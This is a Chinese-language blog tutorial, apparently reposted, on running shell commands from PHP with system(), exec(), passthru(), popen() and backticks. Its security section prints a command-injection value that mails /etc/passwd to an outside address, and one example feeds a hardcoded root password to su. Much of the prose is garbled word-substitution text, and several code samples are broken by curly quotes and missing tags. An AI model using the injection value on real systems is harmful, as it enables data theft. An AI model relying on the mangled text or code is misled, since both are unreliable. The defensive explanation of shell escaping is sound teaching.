PHP系统函数exec system passthru

区别:
system() 输出并再次来到最终一行shell结果。
exec()
不出口结果,再次回到最终一行shell结果,全数结果可以保留到3个回来的数组里面。
passthru()
只调用命令,把命令的运营结果原样地直接出口到标准输出设备上。

相同点:都能够获得命令执行的情况码

demo:
//system(‘dir’);
// exec (‘dir’);
// passthru (‘dir’);
// echo `dir`;

PHP作为一种服务器端的脚本语言,象编写简单,可能是繁体的动态网页这样的天职,它完全可以胜任。但事情不再三再四那样,有时为了贯彻某些意义,必须重视操作系统的外表程序(恐怕叫做命令),那样能够做到经济。

这正是说,是不是能够在PHP脚本中调用外部命令呢?倘诺能,怎么着去做呢?有个别什么地方的担心吗?相信你看了本文后,肯定能够应对那一个标题了。

是或不是能够?

答案是自然的。PHP和其余的次第设计语言同样,完全能够在先后内调用外部命令,并且是很简单的:只要用八个或多少个函数即可。

前提条件

鉴于PHP基本是用来WEB程序支付的,所以安全性成了人们考虑的2个根本方面。于是PHP的设计者们给PHP加了贰个门:安全情势。假使运转在平安形式下,那么PHP脚本上将受到如下多个方面包车型客车限定:

实践外部命令

在开拓文件时有些限制

连接MySQL数据库

基于HTTP的认证


安全方式下,唯有在一定目录中的外部程序才方可被执行,对别的程序的调用将被拒绝。这些目录能够在php.ini文件中用
safe_mode_exec_dir指令,或在编写翻译PHP是丰硕–with-exec-dir选项来钦点,暗中认可是
/usr/local/php/bin。

比方您调用1个应当能够输出结果的外部命令(意思是PHP脚本没有不当),得到的却是一片空白,那么很或者你的网管已经把PHP运营在安全情势下了。

如何做?

在PHP中调用外部命令,能够用如下二种办法来落到实处:

1) 用PHP提供的专门函数

PHP提供共了3个专门的推行外部命令的函数:system(),exec(),passthru()。

system()

原型:string system (string command [, int return_var])

system()函数很其余语言中的差不离,它执行给定的下令,输出和重返结果。第三个参数是可选的,用来获得命令执行后的状态码。

例子:

 

system(“/usr/local/bin/webalizer/webalizer”);

?>

exec()

原型:string exec (string command [, string array [, int
return_var]])

exec
()函数与system()类似,也实施给定的通令,但不出口结果,而是回到结果的末尾一行。尽管它只回去命令结果的末梢一行,但用第二个参数array
能够获得完整的结果,方法是把结果逐行追加到array的结尾处。所以如果array不是空的,在调用在此之前最好用unset()最它清掉。只有钦赐了第三个参数时,才足以用第多个参数,用来获取命令执行的状态码。

例子:

exec(“/bin/ls -l”);

exec(“/bin/ls -l”, $res);

exec(“/bin/ls -l”, $res, $rc);

?>

passthru()

原型:void passthru (string command [, int return_var])

passthru
()只调用命令,不回来任何结果,但把命令的周转结果原样地直接出口到正规输出设备上。所以passthru()函数平时用来调用象pbmplus
(Unix下的二个甩卖图片的工具,输出二进制的原本图片的流)那样的主次。同样它也可以赢得命令执行的状态码。

例子:

header(“Content-type: image/gif”);

passthru(“./ppmtogif hunte.ppm”);

?>

2) 用popen()函数打开进度

地点的方法只可以不难地执行命令,却不能够与命令交互。但稍事时候必须向命令输入一些事物,如在大增Linux的种类用户时,要调用su来把当下用户换到root才行,而su命令必供给在命令行上输入root的密码。那种情景下,用地点提到的措施肯定是非凡的。

popen
()函数打开三个进程管道来执行给定的命令,重返3个文件句柄。既然重回的是2个文书句柄,那么就足以对它读和写了。在PHP3中,对那种句柄只好做纯粹
的操作方式,要么写,要么读;从PHP4开头,能够同时读和写了。除非那一个句柄是以一种情势(读或写)打开的,不然必须调用pclose()函数来关闭
它。

例子1:

 

$fp=popen(“/bin/ls -l”, “r”);

?>

事例2(本例来自PHP中国际联盟盟网站http://www.phpx.com/show.php?d=col&i=51):

 

/* PHP中怎样充实3个连串用户

下边是一段例程,扩大四个名字为james的用户,

root密码是 verygood。仅供参考

*/

$sucommand = “su –login root –command”;

$useradd = “useradd “;

$rootpasswd = “verygood”;

$user = “james”;

$user_add = sprintf(“%s “%s %s””,$sucommand,$useradd,$user);

$fp = @popen($user_add,”w”);

@fputs($fp,$rootpasswd);

@pclose($fp);

?>

3) 用反撇号(`,也正是键盘上ESC键上面包车型的士更加,和~在同1个地点)

本条格局在此之前从未有过归入PHP的文书档案,是作为多少个秘技存在的。方法非常粗略,用五个反撇号把要进行的命令括起来作为贰个表明式,那几个表明式的值就是命令执行的结果。如:

$res=’/bin/ls -l’;

echo ‘
‘.$res.’
‘;

?>

那一个剧本的输出就象:

hunte.gif

hunte.ppm

jpg.htm

jpg.jpg

passthru.php

要考虑些什么?

要考虑多少个难点:安全性和过期。


看安全性。比如,你有一家小型的网上商店,所以能够售卖的产品列表放在两个文件中。你编写了三个有表单的HTML文件,让您的用户输入他们的EMAIL地
址,然后把那个产品列表发给他们。若是你没有采纳PHP的mail()函数(恐怕没有听大人讲过),你就调用Linux/Unix系统的mail程序来发送那么些文件。程序就象那样:

 

system(“mail $to < products.txt”);

echo “我们的产品目录已经发送到你的邮箱:$to”;

?>

用那段代码,一般的用户不会时有产生什么样危险,但实际上存在着非常的大的安全漏洞。借使有个恶意的用户输入了这么1个EMAIL地址:

‘–bla ; mail someone@domain.com < /etc/passwd ;’

那正是说这条命令最后成为:

‘mail –bla ; mail someone@domain.com < /etc/passwd ; <
products.txt’

作者相信,无论哪个互连网管理职员见到如此的下令,都会吓出一身冷汗来。

还好,PHP为大家提供了三个函数:EscapeShellCmd()和EscapeShellArg()。函数EscapeShellCmd把2个字符串
中有所恐怕瞒过Shell而去实践其余2个限令的字符转义。这几个字符在Shell中是有与众分裂意义的,象分号(),重定向(>)和从文件读入
(<)等。函数EscapeShellArg是用来拍卖命令的参数的。它在给定的字符串两边加上单引号,并把字符串中的单引号转义,那样那么些字符串
就能够高枕无忧地看成命令的参数。

再来看看超时难点。即便要推行的指令要费用相当短的光阴,那么应该把那一个命令放到系统的后台去运行。但在暗中认可情状下,象system()等函数要等到这几个命令运行完才回来(实际上是要等一声令下的输出结果),那势必会滋生PHP脚本的超时。消除的不二法门是
把命令的输出重定向到此外2个文件或流中,如:

system(“/usr/local/bin/order_proc > /tmp/null &”);

?>

 

来自:
http://hi.baidu.com/songdenggao/blog/item/a714728d4e0ae111b31bbafd.html

admin

网站地图xml地图